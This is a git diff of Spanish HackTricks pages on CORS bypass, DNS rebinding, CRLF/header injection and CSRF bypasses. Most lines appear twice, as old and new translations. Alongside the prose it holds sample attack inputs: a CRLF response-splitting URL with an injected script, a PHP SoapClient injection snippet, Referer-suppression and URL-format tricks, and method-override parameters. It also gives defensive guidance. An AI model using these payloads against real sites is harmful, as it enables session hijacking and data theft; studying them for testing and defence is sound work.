Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Padding), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante.
Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Relleno), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante.
Para comprender mejor y mitigar esta vulnerabilidad, puedes utilizar el complemento BurpSuite disponible en [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Este complemento puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web.
[**Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.**](xssi-cross-site-script-inclusion.md)
Intenta agregar un **parámetro `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página devolverá los datos con `Content-Type: application/javascript`, lo que evitará la política CORS.
Intenta agregar un **parámetro de `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos con `Content-Type: application/javascript`, lo que eludirá la política CORS.
![](<../.gitbook/assets/image (229).png>)
### Bypass Fácil (¿inútil?)
Una forma de evitar la restricción de `Access-Control-Allow-Origin` es solicitando a una aplicación web que realice una solicitud en tu nombre y envíe la respuesta de vuelta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán, ya que la solicitud se realiza a un dominio diferente.
Una forma de eludir la restricción de `Access-Control-Allow-Origin` es solicitando a una aplicación web que realice una solicitud en tu nombre y envíe la respuesta de vuelta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán, ya que la solicitud se realiza a un dominio diferente.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, al mismo tiempo que falsifica el encabezado de Origen para que coincida con el dominio solicitado. Esto evita efectivamente la política CORS. Aquí tienes un ejemplo de uso con XMLHttpRequest:
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, al mismo tiempo que falsifica el encabezado de Origen para que coincida con el dominio solicitado. Esto elude efectivamente la política CORS. Aquí tienes un ejemplo de uso con XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para el proxy de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor realiza su propia solicitud con los parámetros especificados.
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para el enrutamiento de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor realiza su propia solicitud con los parámetros especificados.
### Bypass de Iframe + Popup
Puedes **evitar las comprobaciones CORS** como `e.origin === window.origin` al **crear un iframe** y **desde él abrir una nueva ventana**. Más información en la siguiente página:
Puedes **eludir las verificaciones CORS** como `e.origin === window.origin` al **crear un iframe** y **desde él abrir una nueva ventana**. Más información en la siguiente página:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -293,36 +293,46 @@ Puedes **evitar las comprobaciones CORS** como `e.origin === window.origin` al *
### Rebinding de DNS a través de TTL
El rebinding de DNS a través de TTL es una técnica utilizada para evitar ciertas medidas de seguridad al manipular registros DNS. Así es como funciona:
El rebinding de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad manipulando los registros DNS. Así es como funciona:
1. El atacante crea una página web y hace que la víctima la acceda.
2. Luego, el atacante cambia el DNS (IP) de su propio dominio para que apunte a la página web de la víctima.
3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor TTL (Tiempo de Vida) que indica cuánto tiempo debe considerarse válido el registro DNS.
3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor de TTL (Tiempo de Vida) que indica cuánto tiempo debe considerarse válido el registro DNS.
4. Cuando el TTL expira, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima.
5. Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar cookies al servidor de la víctima.
Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores TTL bajos.
Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores de TTL bajos.
El rebinding de DNS puede ser útil para evitar comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que caduque la caché.
El rebinding de DNS puede ser útil para eludir comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, lo que permite que caduque la caché.
Si necesitas una forma rápida de abusar del rebinding de DNS, puedes utilizar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com se resolverá entonces en tu host.
También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para obtener una mayor comprensión y experimentación.
También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para comprender y experimentar más.
### Rebinding de DNS a través de **Cache**
### Rebinding de DNS a través de **Sobrecarga de Caché DNS**
Otra forma de evitar la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:
El rebinding de DNS a través de la sobrecarga de caché DNS es otra técnica utilizada para eludir el mecanismo de almacenamiento en caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:
1. Inicialmente, cuando la víctima realiza una solicitud DNS, recibe como respuesta la dirección IP del atacante.
2. Para eludir la defensa de almacenamiento en caché, el atacante aprovecha un trabajador de servicio. El trabajador de servicio sobrecarga la caché DNS, lo que efectivamente elimina el nombre de servidor en caché del atacante.
3. Cuando el navegador de la víctima realiza una segunda solicitud DNS, ahora recibe como respuesta la dirección IP 127.0.0.1, que normalmente se refiere a localhost.
Al sobrecargar la caché DNS con el trabajador de servicio, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a realizar una segunda solicitud, que esta vez se resuelve con la dirección IP deseada por el atacante.
### Rebinding de DNS a través de **Caché**
Otra forma de eludir la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:
1. El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor DNS.
2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP.
3. Si el navegador decide usar primero la dirección IP del atacante, este puede servir un payload que realice solicitudes HTTP al mismo dominio.
4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima.
5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a utilizar la segunda dirección IP proporcionada.
6. Al acceder a la segunda dirección IP, el navegador evita la Política de Mismo Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información.
6. Al acceder a la segunda dirección IP, el navegador elude la Política de la Misma Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información.
Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a información de la víctima.
Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a la información de la víctima.
{% hint style="warning" %}
Ten en cuenta que para acceder a localhost debes intentar reasignar **127.0.0.1** en Windows y **0.0.0.0** en Linux.\
@ -339,13 +349,13 @@ Para obtener más información, puedes consultar [https://unit42.paloaltonetwork
* Si no se permiten **IPs internas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac)
* Si no se permiten **IPs internas** como respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal.
### Rebinding de DNS Weaponizado
### Armas de Rebinding de DNS
Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo utilizar la siguiente herramienta en la charla [Gerald Doussot - Estado de los Ataques de Rebinding de DNS y Singularidad de Origen - Conferencia DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularidad de Origen`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para reasignar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo.
### Protección Real contra Rebinding de DNS
### Protección Real contra el Rebinding de DNS
* Utiliza TLS en servicios internos
* Solicita autenticación para acceder a los datos

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -22,11 +22,11 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡
### CRLF
Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre las cabeceras HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 en varios tipos de servidores web, como Apache y Microsoft IIS.
Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre las cabeceras HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en comunicaciones HTTP/1.1 en varios tipos de servidores web, como Apache y Microsoft IIS.
### Vulnerabilidad de Inyección de CRLF
La inyección de CRLF implica la inserción de los caracteres CR y LF en una entrada proporcionada por el usuario. Esta acción engaña al servidor, la aplicación o el usuario haciéndoles interpretar la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su mal uso puede llevar a la división de respuestas HTTP y otras actividades maliciosas.
La inyección de CRLF implica la inserción de los caracteres CR y LF en una entrada proporcionada por el usuario. Esta acción hace que el servidor, la aplicación o el usuario interpreten de manera incorrecta la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su mal uso puede llevar a la división de respuestas HTTP y otras actividades maliciosas.
### Ejemplo: Inyección de CRLF en un Archivo de Registro
@ -36,7 +36,7 @@ Considera un archivo de registro en un panel de administración que sigue el for
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Un atacante puede explotar una inyección de CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas de registro. Por ejemplo, una secuencia inyectada podría transformar la entrada de registro en:
Un atacante puede explotar una inyección de CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas en el registro. Por ejemplo, una secuencia inyectada podría transformar la entrada del registro en:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
@ -61,7 +61,7 @@ La División de Respuesta HTTP es una vulnerabilidad de seguridad que surge cuan
1. La aplicación establece un encabezado personalizado de esta manera: `X-Custom-Header: UserInput`
2. La aplicación obtiene el valor para `UserInput` de un parámetro de consulta, digamos "user_input". En escenarios que carecen de una validación adecuada de la entrada y codificación, un atacante puede crear un payload que incluya la secuencia CRLF, seguida de contenido malicioso.
3. Un atacante crea una URL con un 'user_input' especialmente diseñado: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- En esta URL, `%0d%0a%0d%0a` es la forma codificada en URL de CRLFCRLF. Engaña al servidor para que inserte una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta.
- En esta URL, `%0d%0a%0d%0a` es la forma codificada en URL de CRLFCRLF. Engaña al servidor para insertar una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta.
4. El servidor refleja la entrada del atacante en el encabezado de respuesta, lo que lleva a una estructura de respuesta no deseada donde el script malicioso es interpretado por el navegador como parte del cuerpo de la respuesta.
#### Un ejemplo de División de Respuesta HTTP que conduce a una Redirección
@ -93,7 +93,7 @@ Ver más ejemplos en:
### Inyección de Cabeceras HTTP
La Inyección de Cabeceras HTTP, a menudo explotada a través de la inyección CRLF (retorno de carro y avance de línea), permite a los atacantes insertar cabeceras HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la política SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o la manipulación de sesiones de usuario a través de la inserción de cookies.
La Inyección de Cabeceras HTTP, a menudo explotada a través de la inyección CRLF (retorno de carro y avance de línea), permite a los atacantes insertar cabeceras HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o la manipulación de sesiones de usuario a través de la inserción de cookies.
#### Explotando CORS a través de la Inyección de Cabeceras HTTP
@ -101,7 +101,7 @@ Un atacante puede inyectar cabeceras HTTP para habilitar CORS (Cross-Origin Reso
#### SSRF e Inyección de Solicitudes HTTP a través de CRLF
La inyección CRLF se puede utilizar para crear e inyectar una solicitud HTTP completamente nueva. Un ejemplo notable de esto es la vulnerabilidad en la clase `SoapClient` de PHP, específicamente dentro del parámetro `user_agent`. Al manipular este parámetro, un atacante puede insertar cabeceras adicionales y contenido del cuerpo, o incluso inyectar una nueva solicitud HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación:
La inyección CRLF se puede utilizar para crear e inyectar una nueva solicitud HTTP por completo. Un ejemplo notable de esto es la vulnerabilidad en la clase `SoapClient` de PHP, específicamente dentro del parámetro `user_agent`. Al manipular este parámetro, un atacante puede insertar cabeceras adicionales y contenido del cuerpo, o incluso inyectar una nueva solicitud HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@ -166,15 +166,15 @@ Además, los investigadores también descubrieron que podían desincronizar las
<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
### Cómo Prevenir Inyecciones CRLF / de Encabezados HTTP en Aplicaciones Web
### Cómo Prevenir Inyecciones de CRLF / Encabezados HTTP en Aplicaciones Web
Para mitigar los riesgos de inyecciones CRLF (retorno de carro y salto de línea) o de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:
Para mitigar los riesgos de inyecciones de CRLF (retorno de carro y avance de línea) o encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:
1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:**
El enfoque más seguro es abstenerse de incorporar la entrada suministrada por el usuario directamente en los encabezados de respuesta.
El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta.
2. **Codificar Caracteres Especiales:**
Si no es factible evitar la entrada directa del usuario, asegúrate de emplear una función dedicada a codificar caracteres especiales como CR (retorno de carro) y LF (salto de línea). Esta práctica previene la posibilidad de inyección de CRLF.
Si no es posible evitar la entrada directa del usuario, asegúrate de emplear una función dedicada a codificar caracteres especiales como CR (retorno de carro) y LF (avance de línea). Esta práctica evita la posibilidad de inyección de CRLF.
3. **Actualizar el Lenguaje de Programación:**
Actualiza regularmente el lenguaje de programación utilizado en tus aplicaciones web a la última versión. Opta por una versión que inherentemente prohíba la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer los encabezados HTTP.
@ -221,7 +221,7 @@ Actualiza regularmente el lenguaje de programación utilizado en tus aplicacione
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -232,9 +232,9 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,10 +6,10 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -18,14 +18,14 @@ Otras formas de apoyar a HackTricks:
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Involúcrate con contenido que explora la emoción y los desafíos del hacking
**Información sobre Hacking**\
Sumérgete en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de las plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
@ -33,7 +33,7 @@ Mantente informado sobre los nuevos programas de recompensas por errores y actua
**Cross-Site Request Forgery (CSRF)** es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos explotando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que está conectado a la plataforma de la víctima, visita un sitio malicioso. Este sitio luego desencadena solicitudes a la cuenta de la víctima a través de métodos como la ejecución de JavaScript, el envío de formularios o la obtención de imágenes.
### Prerrequisitos para un Ataque CSRF
### Requisitos previos para un Ataque CSRF
Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
1. **Identificar una Acción Valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
@ -44,9 +44,9 @@ Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
Se pueden implementar varias contramedidas para protegerse contra los ataques CSRF:
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes entre sitios. [Más sobre las Cookies SameSite](hacking-with-cookies/#samesite).
* [**Compartición de Recursos entre Orígenes**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre cómo evadir CORS](cors-bypass.md).
* [**Compartir recursos entre orígenes**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre cómo evadir CORS](cors-bypass.md).
* **Verificación de Usuario**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
* **Comprobar Encabezados Referrer u Origin**: Validar estos encabezados puede ayudar a garantizar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir controles implementados de manera deficiente, como:
* **Verificar Encabezados Referrer u Origin**: Validar estos encabezados puede ayudar a garantizar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir controles implementados de manera deficiente, como:
- Usar `http://mal.net?orig=http://example.com` (la URL termina con la URL de confianza)
- Usar `http://example.com.mal.net` (la URL comienza con la URL de confianza)
* **Modificar Nombres de Parámetros**: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
@ -62,24 +62,24 @@ Tal vez el formulario que deseas aprovechar está preparado para enviar una **so
### Falta de token
Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto al **eliminar el parámetro** que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo un ataque de Cross-Site Request Forgery (CSRF) de manera efectiva.
Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando falta el token. Los atacantes pueden explotar esto al **eliminar el parámetro** que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo un ataque de Cross-Site Request Forgery (CSRF) de manera efectiva.
### El token CSRF no está vinculado a la sesión del usuario
Las aplicaciones que **no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad significativo**. Estos sistemas verifican los tokens contra un **grupo global** en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora.
Las aplicaciones que **no vinculan los tokens CSRF a las sesiones de usuario** presentan un riesgo de seguridad significativo. Estos sistemas verifican los tokens contra un **pool global** en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora.
Así es como los atacantes explotan esto:
1. **Autenticarse** utilizando su propia cuenta.
2. **Obtener un token CSRF válido** del grupo global.
2. **Obtener un token CSRF válido** del pool global.
3. **Utilizar este token** en un ataque CSRF contra una víctima.
Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo de validación de token insuficiente** de la aplicación.
Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo de validación de token inadecuado** de la aplicación.
### Bypass de Método
Si la solicitud está utilizando un **"método raro"**, verifica si la **funcionalidad de anulación de método** está funcionando.
Por ejemplo, si está **utilizando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Por ejemplo, si está **usando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Esto también podría funcionar enviando el **parámetro \_method dentro de una solicitud POST** o utilizando los **encabezados**:
@ -147,7 +147,7 @@ form.submit();
Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Type: application/json` en un formulario HTML no es directamente posible. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud de preflight. Sin embargo, existen estrategias para potencialmente saltar esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:
1. **Utilizar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
1. **Usar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
2. **Modificar el Tipo de Contenido**: Para evitar una solicitud de preflight asegurando que el servidor reconozca el contenido como JSON, puedes enviar los datos con `Content-Type: text/plain; application/json`. Esto no desencadena una solicitud de preflight pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
@ -155,7 +155,7 @@ Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Typ
### Saltar la Verificación de Referente/Origen
**Evitar la cabecera Referer**
**Evitar la cabecera de Referente**
Las aplicaciones pueden validar la cabecera 'Referer' solo cuando está presente. Para evitar que un navegador envíe esta cabecera, se puede utilizar la siguiente etiqueta meta HTML:
```xml
@ -163,7 +163,7 @@ Las aplicaciones pueden validar la cabecera 'Referer' solo cuando está presente
```
Esto asegura que se omita el encabezado 'Referer', potencialmente evitando las comprobaciones de validación en algunas aplicaciones.
**Bypass de expresiones regulares**
**Bypass de Regexp**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
@ -194,9 +194,9 @@ La primera parte de [**este informe de CTF**](https://github.com/google/google-c
Por lo tanto, si una solicitud GET está siendo limitada, simplemente podrías **enviar una solicitud HEAD que será procesada como una solicitud GET**.
## **Ejemplos de explotación**
## **Ejemplos de Exploit**
### **Exfiltración de token CSRF**
### **Exfiltración de Token CSRF**
Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
@ -591,7 +591,7 @@ Mantente al día con el mundo del hacking a través de noticias e información e
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
<details>
@ -600,9 +600,9 @@ Mantente informado sobre los nuevos programas de recompensas por bugs y actualiz
Otras formas de apoyar a HackTricks:
